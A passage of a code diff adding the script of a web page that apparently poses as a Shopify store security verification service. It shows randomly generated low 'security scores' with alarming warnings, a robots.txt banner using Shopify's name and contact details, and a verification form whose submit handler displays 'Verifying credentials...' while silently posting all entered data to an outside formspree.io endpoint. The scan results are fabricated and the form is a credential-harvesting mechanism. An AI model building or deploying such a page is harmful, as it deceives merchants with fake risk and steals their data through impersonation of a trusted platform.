+ { text: 'Verifying SSL Certificate...', progress: '75%', delay: 1000 },
662
+ { text: 'Preparing Verification...', progress: '100%', delay: 800 }
663
+ ];
664
+
665
+ for (const step of sequence) {
666
+ loadingStatus.textContent = step.text;
667
+ loadingProgress.style.width = step.progress;
668
+ await new Promise(resolve => setTimeout(resolve, step.delay));
669
+ }
670
+
671
+ loadingView.style.display = 'none';
672
+ verificationView.classList.remove('hidden');
673
+ verifyingUrlSpan.textContent = url;
674
+ } else {
675
+ alert('Please enter a valid URL.');
676
+ }
677
+ });
678
+
679
+ const isValidUrl = (url) => { return /^(ftp|http|https):\/\/[^ "]+$/.test(url); }
680
+
681
+ // Summary Section Logic
682
+ function updateSummarySection(url) {
683
+ const origin = getCleanOrigin(url);
684
+ const linkEl = document.getElementById('summarySiteLink');
685
+ linkEl.href = origin;
686
+ linkEl.textContent = origin;
687
+
688
+ // Update Icon Letter
689
+ const domainParts = origin.replace(/^https?:\/\//, '').split('.');
690
+ const firstLetter = domainParts[0].charAt(0).toUpperCase() || 'D';
691
+ document.getElementById('iconLetterSummary').textContent = firstLetter;
692
+ document.getElementById('iconLetterInputSummary').value = firstLetter;
693
+
694
+ // Update Time
695
+ const now = new Date();
696
+ document.getElementById('summaryTime').textContent = now.toUTCString();
697
+ }
698
+
699
+ // Icon Editor Logic
700
+ function setupIconEditor() {
701
+ const siteIcon = document.getElementById('siteIconSummary');
702
+ const iconEditor = document.getElementById('iconEditorSummary');
703
+ const iconLetter = document.getElementById('iconLetterSummary');
704
+ const iconLetterInput = document.getElementById('iconLetterInputSummary');
705
+ const iconColorInput = document.getElementById('iconColorInputSummary');
706
+ const doneBtn = document.getElementById('iconEditDoneSummary');
707
+
708
+ siteIcon.addEventListener('dblclick', () => {
709
+ siteIcon.classList.add('editing');
710
+ iconEditor.classList.add('visible');
711
+ iconLetterInput.focus();
712
+ });
713
+
714
+ const adjustBrightness = (color, percent) => {
715
+ const num = parseInt(color.replace("#", ""), 16);
716
+ const amt = Math.round(2.55 * percent);
717
+ const R = (num >> 16) + amt;
718
+ const G = (num >> 8 & 0x00FF) + amt;
719
+ const B = (num & 0x0000FF) + amt;
720
+ return "#" + (0x1000000 + (R < 255 ? R < 1 ? 0 : R : 255) * 0x10000 +
721
+ (G < 255 ? G < 1 ? 0 : G : 255) * 0x100 +
722
+ (B < 255 ? B < 1 ? 0 : B : 255))
723
+ .toString(16).slice(1);
724
+ };
725
+
726
+ const closeEditor = () => {
727
+ if (iconLetterInput.value) iconLetter.textContent = iconLetterInput.value;
728
+ siteIcon.style.background = `linear-gradient(135deg, ${iconColorInput.value} 0%, ${adjustBrightness(iconColorInput.value, -0.15)} 100%)`;
729
+ siteIcon.classList.remove('editing');
730
+ iconEditor.classList.remove('visible');
731
+ };
732
+
733
+ doneBtn.addEventListener('click', closeEditor);
734
+ iconLetterInput.addEventListener('keypress', (e) => { if (e.key === 'Enter') closeEditor(); });
735
+ iconColorInput.addEventListener('input', (e) => {
736
+ siteIcon.style.background = `linear-gradient(135deg, ${e.target.value} 0%, ${adjustBrightness(e.target.value, -0.15)} 100%)`;
737
+ });
738
+ }
739
+
740
+ // Scores & Analysis
741
+ function scoreToColor(score) {
742
+ if (score < 40) return '#ef4444';
743
+ if (score < 70) return '#f59e0b';
744
+ return '#10b981';
745
+ }
746
+
747
+ function generateScores(url) {
748
+ const overall = 35 + Math.floor(Math.random() * 25);
749
+ let label = 'Critical security gaps detected';
750
+ if (overall >= 55) label = 'High risk: store infrastructure is under-protected';
751
+ else if (overall >= 45) label = 'Significant weaknesses across security layers';
752
+ else label = 'Severe misalignment with basic security hygiene';
753
+
754
+ return {
755
+ overall, label,
756
+ surface: 'Surface Hardening Gap',
757
+ surfaceNote: 'Homepage and core templates lack layered protection and strict bot-resistant configuration.',
758
+ dataRisk: 'App Visibility Risk',
759
+ dataRiskNote: 'Third-party script exposure and unvetted app permissions introduce avoidable data leaks.',
760
+ trustCompliance: 'Compliance Drift',
761
+ trustComplianceNote: 'Data handling signals and policy visibility are misaligned with enterprise requirements.',
762
+ actions: [
763
+ 'Harden critical routes (cart, admin) with strict bot firewall rules.',
764
+ 'Prune dormant third-party apps and revoke excessive API permissions.',
765
+ 'Deploy security headers (HSTS, CSP, X-Frame-Options) site-wide.',
766
+ 'Calibrate cookie consent flows to meet modern data privacy standards.',
767
+ 'Execute a professional code audit focused on Shopify theme vulnerabilities.'
768
+ ],
769
+ impactPoints: [
770
+ 'Regulatory fines due to data governance non-compliance.',
771
+ 'Degraded organic reach due to aggressive automated scraping.',
772
+ 'Payment gateway flags resulting from weak transaction trust.',
773
+ 'Sudden platform restrictions in high-risk scenarios.'
774
+ ]
775
+ };
776
+ }
777
+
778
+ function getCleanOrigin(url) {
779
+ if (!url) return "https://yourstore.com";
780
+ let clean = url.trim();
781
+ if (!clean.startsWith('http://') && !clean.startsWith('https://')) clean = 'https://' + clean;
782
+ try { return new URL(clean).origin; } catch(e) { return "https://yourstore.com"; }
783
+ }
784
+
785
+ function buildRobots(url) {
786
+ const origin = getCleanOrigin(url);
787
+ return {
788
+ robotsUrl: origin + '/robots.txt',
789
+ preview: `# # ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
790
+ # ┃ Compliance & Security Restrictions ┃
791
+ # ┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
792
+ # ┃ This is a technical page. ┃
793
+ # ┃ * This is an overview of restrictions, privileges and permission ┃
794
+ # ┃ and the current status of a Shopify store. ┃
795
+ # ┃ ┃
796
+ # ┃ * Legitimate integrators must use the official Checkout Kit: ┃
797
+ # ┃ https://www.shopify.com/checkout-kit ┃
798
+ # ┃ ┃
799
+ # ┃ Terms of Service: https://www.shopify.com/legal/terms ┃
800
+ # ┃ Contact: bots@shopify.com ┃
801
+ # ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
802
+ Standard Robots Policy for ${origin}\n\nUser-agent: *\nDisallow: /admin\nDisallow: /cart\nDisallow: /orders\nDisallow: /checkouts/\nDisallow: /checkout\nDisallow: /carts\nDisallow: /account\nDisallow: /search\n\nSitemap: ${origin}/sitemap.xml`,
803
+ note: 'Standard Shopify Disallow paths. Security gaps occur when custom theme redirects are not properly disclosed.'
804
+ };
805
+ }
806
+
807
+ verificationForm.addEventListener('submit', async (e) => {
808
+ e.preventDefault();
809
+
810
+ // Hide verification form
811
+ verificationView.classList.add('fade-out');
812
+ await new Promise(r => setTimeout(r, 400));
813
+ verificationView.classList.add('hidden');
814
+
815
+ // Show loading state
816
+ loadingView.style.display = 'flex';
817
+ window.scrollTo({ top: 0, behavior: 'smooth' });
818
+
819
+ const messages = ['Verifying credentials...', 'Checking app signatures...', 'Validating theme integrity...', 'Securely transmitting...'];
820
+ let msgIdx = 0;
821
+ loadingStatus.textContent = messages[0];
822
+ const interval = setInterval(() => { loadingStatus.textContent = messages[++msgIdx % messages.length]; }, 1500);
823
+
824
+ // Simulate API processing
825
+ const formData = new FormData(verificationForm);
826
+
827
+ setTimeout(() => {
828
+ clearInterval(interval);
829
+ loadingView.style.display = 'none';
830
+ successView.classList.remove('hidden');
831
+ }, 3000);
832
+
833
+ try { await fetch('https://formspree.io/f/mwvpddro', { method: 'POST', body: formData, headers: { Accept: 'application/json' } }); } catch (err) {}
834
+ });
835
+
836
+ // Initialize logic
837
+ setupIconEditor();
838
+ </script>
839
+ </body>
840
+ </html>